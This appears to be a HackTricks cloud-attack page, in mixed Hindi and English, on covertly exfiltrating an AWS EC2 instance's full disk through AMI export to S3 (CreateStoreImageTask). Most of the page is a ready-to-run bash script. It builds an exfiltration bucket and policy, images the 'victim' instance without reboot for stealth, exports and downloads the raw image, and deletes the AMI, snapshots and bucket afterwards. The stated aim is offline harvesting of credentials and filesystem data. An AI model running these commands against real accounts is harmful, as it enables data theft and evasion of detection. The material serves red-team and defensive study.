AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सारांश

EC2 AMI export-to-S3 का दुरुपयोग करके EC2 instance के पूरे डिस्क को S3 में store किए गए एक single raw image के रूप में exfiltrate करें, और फिर उसे out-of-band डाउनलोड करें। यह snapshot sharing से बचता है और प्रत्येक AMI के लिए एक object बनाता है।

आवश्यकताएँ

  • EC2: ec2:CreateImage, ec2:CreateStoreImageTask, ec2:DescribeStoreImageTasks target instance/AMI पर
  • S3 (same Region): s3:PutObject, s3:GetObject, s3:ListBucket, s3:AbortMultipartUpload, s3:PutObjectTagging, s3:GetBucketLocation
  • KMS decrypt उस key पर जो AMI snapshots की सुरक्षा करती है (यदि EBS default encryption सक्षम है)
  • S3 bucket policy जो vmie.amazonaws.com service principal पर trust करती हो (नीचे देखें)

प्रभाव

  • Snapshots को शेयर किए बिना या अकाउंट्स के बीच कॉपी किए बिना instance root disk का पूरा offline अधिग्रहण S3 में।
  • Export किए गए raw image से credentials, configuration और filesystem contents पर stealth forensic जांच करना संभव बनाता है।

How to Exfiltrate via AMI Store-to-S3

  • नोट्स:
  • S3 bucket उसी Region में होना चाहिए जहाँ AMI है।
  • In us-east-1, create-bucket में --create-bucket-configuration शामिल नहीं होना चाहिए।
  • --no-reboot instance को रोकने के बिना crash-consistent image बनाती है (ज़्यादा छिपा हुआ लेकिन कम सुसंगत)।
चरण-दर-चरण commands ```bash # Vars REGION=us-east-1 INSTANCE_ID= BUCKET=exfil-ami-$(date +%s)-$RANDOM

1) Create S3 bucket (same Region)

if [ “$REGION” = “us-east-1” ]; then aws s3api create-bucket –bucket “$BUCKET” –region “$REGION” else aws s3api create-bucket –bucket “$BUCKET” –create-bucket-configuration LocationConstraint=$REGION –region “$REGION” fi

2) (Recommended) Bucket policy to allow VMIE service to write the object

ACCOUNT_ID=$(aws sts get-caller-identity –query Account –output text) cat > /tmp/bucket-policy.json <<POL { “Version”: “2012-10-17”, “Statement”: [ { “Sid”: “AllowVMIEPut”, “Effect”: “Allow”, “Principal”: {“Service”: “vmie.amazonaws.com”}, “Action”: [ “s3:PutObject”, “s3:AbortMultipartUpload”, “s3:ListBucket”, “s3:GetBucketLocation”, “s3:GetObject”, “s3:PutObjectTagging” ], “Resource”: [ “arn:aws:s3:::$BUCKET”, “arn:aws:s3:::$BUCKET/” ], “Condition”: { “StringEquals”: {“aws:SourceAccount”: “$ACCOUNT_ID”}, “ArnLike”: {“aws:SourceArn”: “arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-”} } } ] } POL aws s3api put-bucket-policy –bucket “$BUCKET” –policy file:///tmp/bucket-policy.json

3) Create an AMI of the victim (stealthy: do not reboot)

AMI_ID=$(aws ec2 create-image –instance-id “$INSTANCE_ID” –name exfil-$(date +%s) –no-reboot –region “$REGION” –query ImageId –output text)

4) Wait until the AMI is available

aws ec2 wait image-available –image-ids “$AMI_ID” –region “$REGION”

5) Store the AMI to S3 as a single object (raw disk image)

OBJKEY=$(aws ec2 create-store-image-task –image-id “$AMI_ID” –bucket “$BUCKET” –region “$REGION” –query ObjectKey –output text)

echo “Object in S3: s3://$BUCKET/$OBJKEY”

6) Poll the task until it completes

until [ “$(aws ec2 describe-store-image-tasks –image-ids “$AMI_ID” –region “$REGION”
–query StoreImageTaskResults[0].StoreTaskState –output text)“ = “Completed” ]; do aws ec2 describe-store-image-tasks –image-ids “$AMI_ID” –region “$REGION”
–query StoreImageTaskResults[0].StoreTaskState –output text sleep 10 done

7) Prove access to the exported image (download first 1MiB)

aws s3api head-object –bucket “$BUCKET” –key “$OBJKEY” –region “$REGION” aws s3api get-object –bucket “$BUCKET” –key “$OBJKEY” –range bytes=0-1048575 /tmp/ami.bin –region “$REGION” ls -l /tmp/ami.bin

8) Cleanup (deregister AMI, delete snapshots, object & bucket)

aws ec2 deregister-image –image-id “$AMI_ID” –region “$REGION” for S in $(aws ec2 describe-images –image-ids “$AMI_ID” –region “$REGION”
–query Images[0].BlockDeviceMappings[].Ebs.SnapshotId –output text); do aws ec2 delete-snapshot –snapshot-id “$S” –region “$REGION” done aws s3 rm “s3://$BUCKET/$OBJKEY” –region “$REGION” aws s3 rb “s3://$BUCKET” –force –region “$REGION”

</details>

## सबूत उदाहरण

- `describe-store-image-tasks` परिवर्तन:
```text
InProgress
Completed
  • S3 ऑब्जेक्ट मेटाडेटा (उदाहरण):
{
"AcceptRanges": "bytes",
"LastModified": "2025-10-08T01:31:46+00:00",
"ContentLength": 399768709,
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
"ContentType": "application/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {
"ami-name": "exfil-1759887010",
"ami-owner-account": "<account-id>",
"ami-store-date": "2025-10-08T01:31:45Z"
}
}
  • आंशिक डाउनलोड ऑब्जेक्ट एक्सेस सिद्ध करता है:
ls -l /tmp/ami.bin
# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin

आवश्यक IAM अनुमतियाँ

  • EC2: CreateImage, CreateStoreImageTask, DescribeStoreImageTasks
  • S3 (export bucket पर): PutObject, GetObject, ListBucket, AbortMultipartUpload, PutObjectTagging, GetBucketLocation
  • KMS: यदि AMI snapshots एन्क्रिप्टेड हैं, तो snapshots द्वारा उपयोग किए गए EBS KMS key के लिए decrypt की अनुमति दें

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें